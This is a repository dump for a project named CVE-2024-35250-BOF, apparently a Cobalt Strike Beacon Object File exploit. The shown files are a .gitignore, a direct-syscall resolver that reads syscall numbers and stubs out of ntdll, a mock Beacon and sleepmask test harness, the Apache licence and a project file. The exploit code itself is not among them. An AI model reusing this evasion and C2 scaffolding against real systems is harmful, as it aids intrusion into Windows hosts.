255 | # to a newer Visual Studio version. Backup files are not needed,
256 | # because we have git ;-)
257 | _UpgradeReport_Files/
258 | Backup*/
259 | UpgradeLog*.XML
260 | UpgradeLog*.htm
261 | ServiceFabricBackup/
262 | *.rptproj.bak
263 |
264 | # SQL Server files
265 | *.mdf
266 | *.ldf
267 | *.ndf
268 |
269 | # Business Intelligence projects
270 | *.rdl.data
271 | *.bim.layout
272 | *.bim_*.settings
273 | *.rptproj.rsuser
274 | *- [Bb]ackup.rdl
275 | *- [Bb]ackup ([0-9]).rdl
276 | *- [Bb]ackup ([0-9][0-9]).rdl
277 |
278 | # Microsoft Fakes
279 | FakesAssemblies/
280 |
281 | # GhostDoc plugin setting file
282 | *.GhostDoc.xml
283 |
284 | # Node.js Tools for Visual Studio
285 | .ntvs_analysis.dat
286 | node_modules/
287 |
288 | # Visual Studio 6 build log
289 | *.plg
290 |
291 | # Visual Studio 6 workspace options file
292 | *.opt
293 |
294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
295 | *.vbw
296 |
297 | # Visual Studio 6 auto-generated project file (contains which files were open etc.)
298 | *.vbp
299 |
300 | # Visual Studio 6 workspace and project file (working project files containing files to include in project)
301 | *.dsw
302 | *.dsp
303 |
304 | # Visual Studio 6 technical files
305 | *.ncb
306 | *.aps
307 |
308 | # Visual Studio LightSwitch build output
309 | **/*.HTMLClient/GeneratedArtifacts
310 | **/*.DesktopClient/GeneratedArtifacts
311 | **/*.DesktopClient/ModelManifest.xml
312 | **/*.Server/GeneratedArtifacts
313 | **/*.Server/ModelManifest.xml
314 | _Pvt_Extensions
315 |
316 | # Paket dependency manager
317 | .paket/paket.exe
318 | paket-files/
319 |
320 | # FAKE - F# Make
321 | .fake/
322 |
323 | # CodeRush personal settings
324 | .cr/personal
325 |
326 | # Python Tools for Visual Studio (PTVS)
327 | __pycache__/
328 | *.pyc
329 |
330 | # Cake - Uncomment if you are using it
331 | # tools/**
332 | # !tools/packages.config
333 |
334 | # Tabs Studio
335 | *.tss
336 |
337 | # Telerik's JustMock configuration file
338 | *.jmconfig
339 |
340 | # BizTalk build output
341 | *.btp.cs
342 | *.btm.cs
343 | *.odx.cs
344 | *.xsd.cs
345 |
346 | # OpenCover UI analysis results
347 | OpenCover/
348 |
349 | # Azure Stream Analytics local run output
350 | ASALocalRun/
351 |
352 | # MSBuild Binary and Structured Log
353 | *.binlog
354 |
355 | # NVidia Nsight GPU debugger configuration file
356 | *.nvuser
357 |
358 | # MFractors (Xamarin productivity tool) working folder
359 | .mfractor/
360 |
361 | # Local History for Visual Studio
362 | .localhistory/
363 |
364 | # Visual Studio History (VSHistory) files
365 | .vshistory/
366 |
367 | # BeatPulse healthcheck temp database
368 | healthchecksdb
369 |
370 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
371 | MigrationBackup/
372 |
373 | # Ionide (cross platform F# VS Code tools) working folder
374 | .ionide/
375 |
376 | # Fody - auto-generated XML schema
377 | FodyWeavers.xsd
378 |
379 | # VS Code files for those working on multiple tools
380 | .vscode/*
381 | !.vscode/settings.json
382 | !.vscode/tasks.json
383 | !.vscode/launch.json
384 | !.vscode/extensions.json
385 | *.code-workspace
386 |
387 | # Local History for Visual Studio Code
388 | .history/
389 |
390 | # Windows Installer files from build outputs
391 | *.cab
392 | *.msi
393 | *.msix
394 | *.msm
395 | *.msp
396 |
397 | # JetBrains Rider
398 | *.sln.iml
399 |
--------------------------------------------------------------------------------
/CVE-2024-35250-BOF/base/mock_syscalls.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | extern "C" {
5 | #ifdef _DEBUG
6 | #undef DECLSPEC_IMPORT
7 | #define DECLSPEC_IMPORT
8 | #endif
9 | #include "..\beacon.h"
10 | }
11 |
12 | namespace bof {
13 | namespace mock {
14 | namespace syscall {
15 | /**
16 | * @brief A function to find the first occurrence of a system call instruction in memory.
17 | *
18 | * This function searches for a specific system call instruction pattern within the
19 | * memory block starting at the given address 'addr'. The pattern to search for
20 | * depends on the target architecture:
21 | *
22 | * - On x64, the assembly pattern is: 'syscall; ret;' (0x0f, 0x05, 0xc3).
23 | * - On x86, the assembly pattern is: 'sysenter; ret;' (0x0f, 0x34, 0xc3).
24 | *
25 | * @param addr A pointer to the starting address of the memory block.
26 | * @return A pointer to the first occurrence of the system call instruction pattern
27 | * if found, or NULL if the pattern is not found within the first 32 bytes.
28 | *
29 | */
30 |
31 | PBYTE FindSyscallInstruction(PBYTE addr) {
32 | #if _M_X64
33 | char syscallPattern[] = { '\x0f', '\x05', '\xc3' }; // syscall; ret;
34 | #else
35 | char syscallPattern[] = { '\x0f', '\x34', '\xc3' }; // sysenter; ret;
36 | #endif
37 | for (int offset = 0; offset < 32; ++offset) {
38 | if (!memcmp(syscallPattern, (char*)addr + offset, sizeof(syscallPattern))) {
39 | return addr + offset;
40 | }
41 | }
42 | return NULL;
43 | }
44 |
45 | /**
46 | * @brief Find the system call number in the memory block
47 | *
48 | * This function searches for a specific pattern within the memory block starting at the
49 | * given address 'addr' to identify the system call number. The pattern to search for
50 | * depends on the target architecture:
51 | *
52 | * - On x64, the assembly pattern is: 'mov r10, rcx; mov eax, ' (0x4c, 0x8b, 0xd1, 0xb8).
53 | * - On x86, the assembly pattern is: 'mov eax, ' (0xb8).
54 | *
55 | * @param addr A pointer to the starting address of the memory block.
56 | * @return The system call number found in memory following the pattern, or 0 if the
57 | * pattern is not found within the first 32 bytes.
58 | *
59 | */
60 | DWORD FindSyscallNumber(PBYTE addr) {
61 | #if _M_X64
62 | char syscallPattern[] = { '\x4c', '\x8b', '\xd1', '\xb8' };
63 | #else
64 | char syscallPattern[] = { '\xb8' };
65 | #endif
66 | for (int offset = 0; offset < 32; ++offset) {
67 | if (!memcmp(syscallPattern, (char*)addr + offset, sizeof(syscallPattern))) {
68 | DWORD* numAddress = (DWORD*)(addr + offset + sizeof(syscallPattern));
69 | return *numAddress;
70 | }
71 | }
72 | return 0;
73 | }
74 |
75 | /**
76 | * A function to resolve the a system call number and function address.
77 | *
78 | * @param entry A pointer to a SYSCALL_API_ENTRY structure where resolved information will be stored.
79 | * @param funcHash Hash value representing the target function to resolve.
80 | * @return Returns TRUE if the resolution is successful; otherwise, returns FALSE.
81 | *
82 | */
83 | BOOL ResolveSyscallEntry(PSYSCALL_API_ENTRY entry, const char* funcName) {
84 | // Resolve the NT function address
85 | static HMODULE ntdll = LoadLibraryA("ntdll");
86 | PVOID fnAddr = GetProcAddress(ntdll, funcName);
87 |
88 | if (!fnAddr) {
89 | return FALSE;
90 | }
91 |
92 | // Find the syscall number
93 | DWORD sysnum = FindSyscallNumber((PBYTE)fnAddr);
94 |
95 | // Find the address of the syscall instruction
96 | PVOID jmpAddr = FindSyscallInstruction((PBYTE)fnAddr);
97 |
98 | #ifdef _M_IX86
99 | if (!jmpAddr) {
100 | jmpAddr = (PVOID)__readfsdword(0xc0); // If WoW64, this returns wow64cpu!X86SwitchTo64BitMode
101 | }
102 | #endif
103 |
104 | // We did not find the syscall
105 | if (sysnum == 0 || jmpAddr == NULL) {
106 | return FALSE;
107 | }
108 |
109 | // Fill the entry
110 | entry->fnAddr = fnAddr;
111 | entry->sysnum = sysnum;
112 | entry->jmpAddr = jmpAddr;
113 |
114 | return TRUE;
115 | }
116 |
117 | /**
118 | * A helper macro for resolving an SYSCALL_API_ENTRY.
119 | *
120 | * @param field The field in the SYSCALL_API structure in which the resolved entry will be stored.
121 | * @param name The function name used to generate a compile-time hash for entry lookup.
122 | */
123 | #define RESOLVE_ENTRY(field, name) { \
124 | if(!ResolveSyscallEntry(&field, name)) { assert(false && "Could not resolve the syscall entry"); } \
125 | }
126 |
127 | /**
128 | * Resolve system call function addresses and syscall numbers.
129 | *
130 | * @param syscalls A pointer to a SYSCALL_API structure.
131 | * @return TRUE if all system call entries are successfully resolved, FALSE otherwise.
132 | *
133 | */
134 | void ResolveSyscalls(PSYSCALL_API syscalls) {
135 | RESOLVE_ENTRY(syscalls->ntAllocateVirtualMemory, "NtAllocateVirtualMemory");
136 | RESOLVE_ENTRY(syscalls->ntAllocateVirtualMemory, "NtAllocateVirtualMemory");
137 | RESOLVE_ENTRY(syscalls->ntProtectVirtualMemory, "NtProtectVirtualMemory");
138 | RESOLVE_ENTRY(syscalls->ntFreeVirtualMemory, "NtFreeVirtualMemory");
139 | RESOLVE_ENTRY(syscalls->ntGetContextThread, "NtGetContextThread");
140 | RESOLVE_ENTRY(syscalls->ntSetContextThread, "NtSetContextThread");
141 | RESOLVE_ENTRY(syscalls->ntResumeThread, "NtResumeThread");
142 | RESOLVE_ENTRY(syscalls->ntCreateThreadEx, "NtCreateThreadEx");
143 | RESOLVE_ENTRY(syscalls->ntOpenProcess, "NtOpenProcess");
144 | RESOLVE_ENTRY(syscalls->ntOpenThread, "NtOpenThread");
145 | RESOLVE_ENTRY(syscalls->ntClose, "NtClose");
146 | RESOLVE_ENTRY(syscalls->ntCreateSection, "NtCreateSection");
147 | RESOLVE_ENTRY(syscalls->ntMapViewOfSection, "NtMapViewOfSection");
148 | RESOLVE_ENTRY(syscalls->ntUnmapViewOfSection, "NtUnmapViewOfSection");
149 | RESOLVE_ENTRY(syscalls->ntQueryVirtualMemory, "NtQueryVirtualMemory");
150 | RESOLVE_ENTRY(syscalls->ntDuplicateObject, "NtDuplicateObject");
151 | RESOLVE_ENTRY(syscalls->ntReadVirtualMemory, "NtReadVirtualMemory");
152 | RESOLVE_ENTRY(syscalls->ntWriteVirtualMemory, "NtWriteVirtualMemory");
153 | RESOLVE_ENTRY(syscalls->ntReadFile, "NtReadFile");
154 | RESOLVE_ENTRY(syscalls->ntWriteFile, "NtWriteFile");
155 | RESOLVE_ENTRY(syscalls->ntCreateFile, "NtCreateFile");
156 | }
157 |
158 | /**
159 | * A function to resolve the RTL function address.
160 | *
161 | * @param address A pointer to where the resolved information will be stored.
162 | * @param funcHash Hash value representing the target function to resolve.
163 | *
164 | * @return Returns TRUE if the resolution is successful; otherwise, returns FALSE.
165 | *
166 | */
167 | BOOL ResolveNtdllFunc(PVOID* address, const char* funcName) {
168 | static const HMODULE ntdll = LoadLibraryA("ntdll");
169 | *address = GetProcAddress(ntdll, funcName);
170 | return *address != NULL;
171 | }
172 |
173 | /**
174 | * A helper macro for resolving a RTL function address.
175 | *
176 | * @param field The field in the RTL_API structure in which the resolved function address will be stored.
177 | * @param name The function name used to generate a compile-time hash for entry lookup.
178 | */
179 | #define RESOLVE_RTL_ENTRY(field, name) { \
180 | if(!ResolveNtdllFunc(&field, name)) { assert(field && "Could not resolve RTL entry"); } \
181 | }
182 |
183 | /**
184 | * Resolve RTL function addresses.
185 | *
186 | * @param rtls A pointer to a RTL_API structure.
187 | *
188 | */
189 | void ResolveRtls(PRTL_API rtls) {
190 | /* Resolve the RTL function addresses */
191 | RESOLVE_RTL_ENTRY(rtls->rtlDosPathNameToNtPathNameUWithStatusAddr, "RtlDosPathNameToNtPathName_U_WithStatus");
192 | RESOLVE_RTL_ENTRY(rtls->rtlFreeHeapAddr, "RtlFreeHeap");
193 | rtls->rtlGetProcessHeapAddr = GetProcessHeap();
194 | assert(rtls->rtlGetProcessHeapAddr && "Could not get the process heap address");
195 | }
196 | }
197 | }
198 | }
--------------------------------------------------------------------------------
/CVE-2024-35250-BOF/base/mock.h:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | #include "../sleepmask.h"
5 |
6 | namespace bof {
7 | const DWORD CsVersion = 0x041000;
8 |
9 | namespace profile {
10 | /**
11 | * Enum classes to mimic the stage block in the C2 profile.
12 | */
13 | enum class Allocator {
14 | VirtualAlloc,
15 | HeapAlloc,
16 | MapViewOfFile
17 | };
18 | enum class Obfuscate {
19 | False,
20 | True
21 | };
22 | enum class UseRWX {
23 | False,
24 | True
25 | };
26 |
27 | struct Stage {
28 | Allocator allocator;
29 | Obfuscate obfuscate;
30 | UseRWX useRWX;
31 | std::string module;
32 | };
33 |
34 | const Stage defaultStage = {
35 | .allocator = bof::profile::Allocator::VirtualAlloc,
36 | .obfuscate = bof::profile::Obfuscate::False,
37 | .useRWX = bof::profile::UseRWX::True,
38 | .module = "",
39 | };
40 | }
41 |
42 | namespace mock {
43 | /**
44 | * Data container class used for packing BOF arguments.
45 | */
46 | class BofData {
47 | public:
48 | /**
49 | * Pack a variadic number of arguments.
50 | * Equivalent to the bof_pack function.
51 | *
52 | * For example, bof_pack("isz", 1, 2, "hello")
53 | * -> pack(1, 2, "hello")
54 | *
55 | * @param ... arguments
56 | */
57 | template
58 | void pack(T &&...v)
59 | {
60 | ((insert(std::forward(v))), ...);
61 | }
62 |
63 | /**
64 | * Add binary data to the argument buffer.
65 | * Equivalent to bof_pack("b", $data).
66 | *
67 | * @param buf A char pointer to the data
68 | * @param len A length to the data
69 | */
70 | void addData(const char *buf, std::size_t len);
71 |
72 |
73 | /**
74 | * << operator to allow an alternative way to build the argument buffer.
75 | *
76 | * For example: args << 123 << 32;
77 | *
78 | * @param container A BofData object
79 | * @param arg An argument
80 | */
81 | template
82 | friend BofData &operator<<(BofData &container, T arg)
83 | {
84 | container.pack(arg);
85 | return container;
86 | }
87 |
88 | /**
89 | * Return a raw argument buffer.
90 | *
91 | * @return A char pointer of raw argument buffer
92 | */
93 | char* get();
94 |
95 | /**
96 | * Get the size of the argument buffer.
97 | *
98 | * @return A size of the argument buffer
99 | */
100 | int size();
101 | private:
102 | void append(const std::vector &data);
103 | void insert(int v);
104 | void insert(short v);
105 | void insert(unsigned int v);
106 | void insert(unsigned short v);
107 | void insert(const char *v);
108 | void insert(const wchar_t *v);
109 | void insert(const std::vector& data);
110 |
111 | std::vector data;
112 | };
113 |
114 | /**
115 | * This structure holds the information about how the mock runner should
116 | * execute the sleepmask.
117 | */
118 | typedef struct {
119 | DWORD sleepTimeMs;
120 | bool runForever;
121 | } MockSleepMaskConfig;
122 |
123 | /**
124 | * Setup memory for a mock Beacon
125 | *
126 | * The memory layout is created by mimicking Beacon's default reflective loader,
127 | * and the related C2 options
128 | *
129 | * @param stage The applicable stage{} options
130 | * @return the mock Beacon memory structure
131 | */
132 | BEACON_INFO setupMockBeacon(const bof::profile::Stage& stage);
133 | }
134 |
135 | namespace output {
136 | /**
137 | * Data structure to store a output from BOF
138 | */
139 | struct OutputEntry {
140 | /**
141 | * The callback type. E.g. CALLBACK_OUTPUT
142 | */
143 | int callbackType;
144 |
145 | /**
146 | * The output data
147 | */
148 | std::string output;
149 |
150 | /**
151 | * Equivalence overloading.
152 | *
153 | * param other Another OutputEntry object
154 | */
155 | bool operator==(const OutputEntry& other) const {
156 | return callbackType == other.callbackType && output == other.output;
157 | }
158 | };
159 |
160 | /**
161 | * Returns the list of BOF outputs
162 | *
163 | * @return A vector of OutputEntry objects
164 | */
165 | const std::vector& getOutputs();
166 |
167 | /**
168 | * Clear the currently stored BOF outputs
169 | */
170 | void reset();
171 |
172 | /**
173 | * Pretty print an OutputEntry object.
174 | * Required by the GoogleTest.
175 | *
176 | * @param o An OutputEntry object
177 | * @param os An output stream
178 | */
179 | void PrintTo(const OutputEntry& o, std::ostream* os);
180 | }
181 |
182 | namespace valuestore {
183 | /**
184 | * Clear items in BOF Key/Value store
185 | */
186 | void reset();
187 | }
188 |
189 | namespace bud {
190 | /**
191 | * Clear the custom data buffer in Beacon User Data
192 | */
193 | void reset();
194 |
195 | /**
196 | * Set the custom data buffer in Beacon User Data
197 | *
198 | * @param data A pointer to custom data buffer
199 | */
200 | void set(const char* data);
201 | }
202 |
203 | /**
204 | * Execute a BOF with arguments
205 | *
206 | * @param entry BOF's entry point
207 | * @param ... arguments
208 | * @return A vector of OutputEntry objects
209 | */
210 | template
211 | std::vector runMocked(void (*entry)(char*, int), T &&...v) {
212 | // Reset the global output container
213 | bof::output::reset();
214 | // Pack the arguments
215 | bof::mock::BofData args;
216 | args.pack(std::forward(v)...);
217 | // Execute the entrypoint
218 | entry(args.get(), args.size());
219 | // Return the stored outputs
220 | return bof::output::getOutputs();
221 | }
222 |
223 | /**
224 | * Setup a mock-up Beacon and execute the sleepmask function once with the default .stage options and mock-up config.
225 | *
226 | * @param sleepMaskFunc the function pointer for the sleepmask
227 | * @return A vector of OutputEntry objects
228 | */
229 | std::vector runMockedSleepMask(SLEEPMASK_FUNC sleepMaskFunc);
230 |
231 | /**
232 | * Setup a mock-up Beacon and execute the sleepmask function using a custom stage profile, and the default mock-up config.
233 | *
234 | * @param sleepMaskFunc the function pointer for the sleepmask
235 | * @param stage the stage options
236 | * @return A vector of OutputEntry objects
237 | */
238 | std::vector runMockedSleepMask(SLEEPMASK_FUNC sleepMaskFunc, const bof::profile::Stage& stage);
239 |
240 | /**
241 | * Setup a mock-up Beacon and execute the sleepmask function using a custom stage profile and mock-up config.
242 | *
243 | * @param sleepMaskFunc the function pointer for the sleepmask
244 | * @param stage the applicable stage{} options
245 | * @param config the mockup config
246 | * @return A vector of OutputEntry objects
247 | */
248 | std::vector runMockedSleepMask(SLEEPMASK_FUNC sleepMaskFunc, const bof::profile::Stage& stage, const bof::mock::MockSleepMaskConfig& config);
249 |
250 | /**
251 | * Execute the sleepmask.
252 | *
253 | * @param sleepMaskFunc the function pointer for the sleepmask
254 | * @param sleepMaskInfo the pointer to the SLEEPMASK_INFO structure
255 | * @param functionCall the pointer to the FUNCTION_CALL structure
256 | * @return A vector of OutputEntry objects
257 | */
258 | std::vector runMockedSleepMask(SLEEPMASK_FUNC sleepMaskFunc, PSLEEPMASK_INFO sleepMaskInfo, PFUNCTION_CALL functionCall);
259 |
260 | /**
261 | * Setup a mock-up Beacon and execute the sleepmask function as Beacon Gate with the default stage block.
262 | *
263 | * @param sleepMaskFunc the function pointer for the sleepmask
264 | * @param functionCall the pointer to FUNCTION_CALL structure
265 | * @return A vector of OutputEntry objects
266 | */
267 | std::vector runMockedBeaconGate(SLEEPMASK_FUNC sleepMaskFunc, PFUNCTION_CALL functionCall);
268 |
269 | /**
270 | * Setup a mock-up Beacon and execute the sleepmask function as Beacon Gate with a custom stage profile.
271 | *
272 | * @param sleepMaskFunc the function pointer for the sleepmask
273 | * @param functionCall the pointer to FUNCTION_CALL structure
274 | * @param stage the stage options
275 | * @return A vector of OutputEntry objects
276 | */
277 | std::vector runMockedBeaconGate(SLEEPMASK_FUNC sleepMaskFunc, PFUNCTION_CALL functionCall, const bof::profile::Stage& stage);
278 | }
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction,
10 | and distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by
13 | the copyright owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all
16 | other entities that control, are controlled by, or are under common
17 | control with that entity. For the purposes of this definition,
18 | "control" means (i) the power, direct or indirect, to cause the
19 | direction or management of such entity, whether by contract or
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 | outstanding shares, or (iii) beneficial ownership of such entity.
22 |
23 | "You" (or "Your") shall mean an individual or Legal Entity
24 | exercising permissions granted by this License.
25 |
26 | "Source" form shall mean the preferred form for making modifications,
27 | including but not limited to software source code, documentation
28 | source, and configuration files.
29 |
30 | "Object" form shall mean any form resulting from mechanical
31 | transformation or translation of a Source form, including but
32 | not limited to compiled object code, generated documentation,
33 | and conversions to other media types.
34 |
35 | "Work" shall mean the work of authorship, whether in Source or
36 | Object form, made available under the License, as indicated by a
37 | copyright notice that is included in or attached to the work
38 | (an example is provided in the Appendix below).
39 |
40 | "Derivative Works" shall mean any work, whether in Source or Object
41 | form, that is based on (or derived from) the Work and for which the
42 | editorial revisions, annotations, elaborations, or other modifications
43 | represent, as a whole, an original work of authorship. For the purposes
44 | of this License, Derivative Works shall not include works that remain
45 | separable from, or merely link (or bind by name) to the interfaces of,
46 | the Work and Derivative Works thereof.
47 |
48 | "Contribution" shall mean any work of authorship, including
49 | the original version of the Work and any modifications or additions
50 | to that Work or Derivative Works thereof, that is intentionally
51 | submitted to Licensor for inclusion in the Work by the copyright owner
52 | or by an individual or Legal Entity authorized to submit on behalf of
53 | the copyright owner. For the purposes of this definition, "submitted"
54 | means any form of electronic, verbal, or written communication sent
55 | to the Licensor or its representatives, including but not limited to
56 | communication on electronic mailing lists, source code control systems,
57 | and issue tracking systems that are managed by, or on behalf of, the
58 | Licensor for the purpose of discussing and improving the Work, but
59 | excluding communication that is conspicuously marked or otherwise
60 | designated in writing by the copyright owner as "Not a Contribution."
61 |
62 | "Contributor" shall mean Licensor and any individual or Legal Entity
63 | on behalf of whom a Contribution has been received by Licensor and
64 | subsequently incorporated within the Work.
65 |
66 | 2. Grant of Copyright License. Subject to the terms and conditions of
67 | this License, each Contributor hereby grants to You a perpetual,
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 | copyright license to reproduce, prepare Derivative Works of,
70 | publicly display, publicly perform, sublicense, and distribute the
71 | Work and such Derivative Works in Source or Object form.
72 |
73 | 3. Grant of Patent License. Subject to the terms and conditions of
74 | this License, each Contributor hereby grants to You a perpetual,
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 | (except as stated in this section) patent license to make, have made,
77 | use, offer to sell, sell, import, and otherwise transfer the Work,
78 | where such license applies only to those patent claims licensable
79 | by such Contributor that are necessarily infringed by their
80 | Contribution(s) alone or by combination of their Contribution(s)
81 | with the Work to which such Contribution(s) was submitted. If You
82 | institute patent litigation against any entity (including a
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work
84 | or a Contribution incorporated within the Work constitutes direct
85 | or contributory patent infringement, then any patent licenses
86 | granted to You under this License for that Work shall terminate
87 | as of the date such litigation is filed.
88 |
89 | 4. Redistribution. You may reproduce and distribute copies of the
90 | Work or Derivative Works thereof in any medium, with or without
91 | modifications, and in Source or Object form, provided that You
92 | meet the following conditions:
93 |
94 | (a) You must give any other recipients of the Work or
95 | Derivative Works a copy of this License; and
96 |
97 | (b) You must cause any modified files to carry prominent notices
98 | stating that You changed the files; and
99 |
100 | (c) You must retain, in the Source form of any Derivative Works
101 | that You distribute, all copyright, patent, trademark, and
102 | attribution notices from the Source form of the Work,
103 | excluding those notices that do not pertain to any part of
104 | the Derivative Works; and
105 |
106 | (d) If the Work includes a "NOTICE" text file as part of its
107 | distribution, then any Derivative Works that You distribute must
108 | include a readable copy of the attribution notices contained
109 | within such NOTICE file, excluding those notices that do not
110 | pertain to any part of the Derivative Works, in at least one
111 | of the following places: within a NOTICE text file distributed
112 | as part of the Derivative Works; within the Source form or
113 | documentation, if provided along with the Derivative Works; or,
114 | within a display generated by the Derivative Works, if and
115 | wherever such third-party notices normally appear. The contents
116 | of the NOTICE file are for informational purposes only and
117 | do not modify the License. You may add Your own attribution
118 | notices within Derivative Works that You distribute, alongside
119 | or as an addendum to the NOTICE text from the Work, provided
120 | that such additional attribution notices cannot be construed
121 | as modifying the License.
122 |
123 | You may add Your own copyright statement to Your modifications and
124 | may provide additional or different license terms and conditions
125 | for use, reproduction, or distribution of Your modifications, or
126 | for any such Derivative Works as a whole, provided Your use,
127 | reproduction, and distribution of the Work otherwise complies with
128 | the conditions stated in this License.
129 |
130 | 5. Submission of Contributions. Unless You explicitly state otherwise,
131 | any Contribution intentionally submitted for inclusion in the Work
132 | by You to the Licensor shall be under the terms and conditions of
133 | this License, without any additional terms or conditions.
134 | Notwithstanding the above, nothing herein shall supersede or modify
135 | the terms of any separate license agreement you may have executed
136 | with Licensor regarding such Contributions.
137 |
138 | 6. Trademarks. This License does not grant permission to use the trade
139 | names, trademarks, service marks, or product names of the Licensor,
140 | except as required for reasonable and customary use in describing the
141 | origin of the Work and reproducing the content of the NOTICE file.
142 |
143 | 7. Disclaimer of Warranty. Unless required by applicable law or
144 | agreed to in writing, Licensor provides the Work (and each
145 | Contributor provides its Contributions) on an "AS IS" BASIS,
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 | implied, including, without limitation, any warranties or conditions
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 | PARTICULAR PURPOSE. You are solely responsible for determining the
150 | appropriateness of using or redistributing the Work and assume any
151 | risks associated with Your exercise of permissions under this License.
152 |
153 | 8. Limitation of Liability. In no event and under no legal theory,
154 | whether in tort (including negligence), contract, or otherwise,
155 | unless required by applicable law (such as deliberate and grossly
156 | negligent acts) or agreed to in writing, shall any Contributor be
157 | liable to You for damages, including any direct, indirect, special,
158 | incidental, or consequential damages of any character arising as a
159 | result of this License or out of the use or inability to use the
160 | Work (including but not limited to damages for loss of goodwill,
161 | work stoppage, computer failure or malfunction, or any and all
162 | other commercial damages or losses), even if such Contributor
163 | has been advised of the possibility of such damages.
164 |
165 | 9. Accepting Warranty or Additional Liability. While redistributing
166 | the Work or Derivative Works thereof, You may choose to offer,
167 | and charge a fee for, acceptance of support, warranty, indemnity,
168 | or other liability obligations and/or rights consistent with this
169 | License. However, in accepting such obligations, You may act only
170 | on Your own behalf and on Your sole responsibility, not on behalf
171 | of any other Contributor, and only if You agree to indemnify,
172 | defend, and hold each Contributor harmless for any liability
173 | incurred by, or claims asserted against, such Contributor by reason
174 | of your accepting any such warranty or additional liability.
175 |
176 | END OF TERMS AND CONDITIONS
177 |
178 | APPENDIX: How to apply the Apache License to your work.
179 |
180 | To apply the Apache License to your work, attach the following
181 | boilerplate notice, with the fields enclosed by brackets "[]"
182 | replaced with your own identifying information. (Don't include
183 | the brackets!) The text should be enclosed in the appropriate
184 | comment syntax for the file format. We also recommend that a
185 | file or class name and description of purpose be included on the
186 | same "printed page" as the copyright notice for easier
187 | identification within third-party archives.
188 |
189 | Copyright [yyyy] [name of copyright owner]
190 |
191 | Licensed under the Apache License, Version 2.0 (the "License");
192 | you may not use this file except in compliance with the License.
193 | You may obtain a copy of the License at
194 |
195 | http://www.apache.org/licenses/LICENSE-2.0
196 |
197 | Unless required by applicable law or agreed to in writing, software
198 | distributed under the License is distributed on an "AS IS" BASIS,
199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 | See the License for the specific language governing permissions and
201 | limitations under the License.
--------------------------------------------------------------------------------
/CVE-2024-35250-BOF/CVE-2024-35250-BOF.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 | UnitTest
22 | Win32
23 |
24 |
25 | UnitTest
26 | x64
27 |
28 |
29 |
30 | 16.0
31 | Win32Proj
32 | {58ebee7c-b0cf-49e3-ae82-e60750c03613}
33 | BOFTemplate
34 | 10.0
35 | CVE-2024-35250-BOF
36 |
37 |
38 |
39 | Makefile
40 | true
41 | v143
42 | Unicode
43 | Debug\bof.exe
44 | WindowsLocalDebugger
45 |
46 |
47 | Application
48 | true
49 | v143
50 | Unicode
51 |
52 |
53 | Makefile
54 | false
55 | v143
56 | true
57 | Unicode
58 |
59 |
60 | Makefile
61 | true
62 | v143
63 | Unicode
64 | x64\Debug\bof.exe
65 | WindowsLocalDebugger
66 |
67 |
68 | Application
69 | true
70 | v143
71 | Unicode
72 |
73 |
74 | Makefile
75 | false
76 | v143
77 | true
78 | Unicode
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 | nmake all
106 | nmake /B all
107 | nmake clean
108 | /std:c++20
109 |
110 |
111 | nmake all
112 | nmake /B all
113 | nmake clean
114 | /std:c++20
115 |
116 |
117 | nmake all-debug
118 | nmake /B all-debug
119 | nmake clean
120 | /std:c++20
121 |
122 |
123 | nmake all-debug
124 | nmake /B all-debug
125 | nmake clean
126 |
127 |
128 | nmake all-debug
129 | nmake /B all-debug
130 | nmake clean
131 | $(MSBuildProjectDirectory)\packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\build\native\include;$(IncludePath)
132 | /std:c++20
133 |
134 |
135 | nmake all-debug
136 | nmake /B all-debug
137 | nmake clean
138 |
139 |
140 |
141 | Level3
142 | true
143 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
144 | false
145 | stdcpp17
146 |
147 |
148 | Console
149 | true
150 |
151 |
152 |
153 |
154 | Level3
155 | true
156 | WIN32;_DEBUG;_CONSOLE;_GTEST;%(PreprocessorDefinitions)
157 | false
158 | stdcpp20
159 | MultiThreadedDebug
160 | $(SolutionDir)\packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\build\native\include;%(AdditionalIncludeDirectories)
161 |
162 |
163 | Console
164 | true
165 | $(SolutionDir)\packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\lib\native\v140\windesktop\msvcstl\static\rt-static\$(PlatformTarget)\Debug\gtest_maind.lib;$(SolutionDir)\packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\lib\native\v140\windesktop\msvcstl\static\rt-static\$(PlatformTarget)\Debug\gtestd.lib;%(AdditionalDependencies)
166 |
167 |
168 |
169 |
170 | Level3
171 | true
172 | true
173 | true
174 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
175 | false
176 | stdcpp17
177 |
178 |
179 | Console
180 | true
181 | true
182 | true
183 |
184 |
185 |
186 |
187 | Level3
188 | true
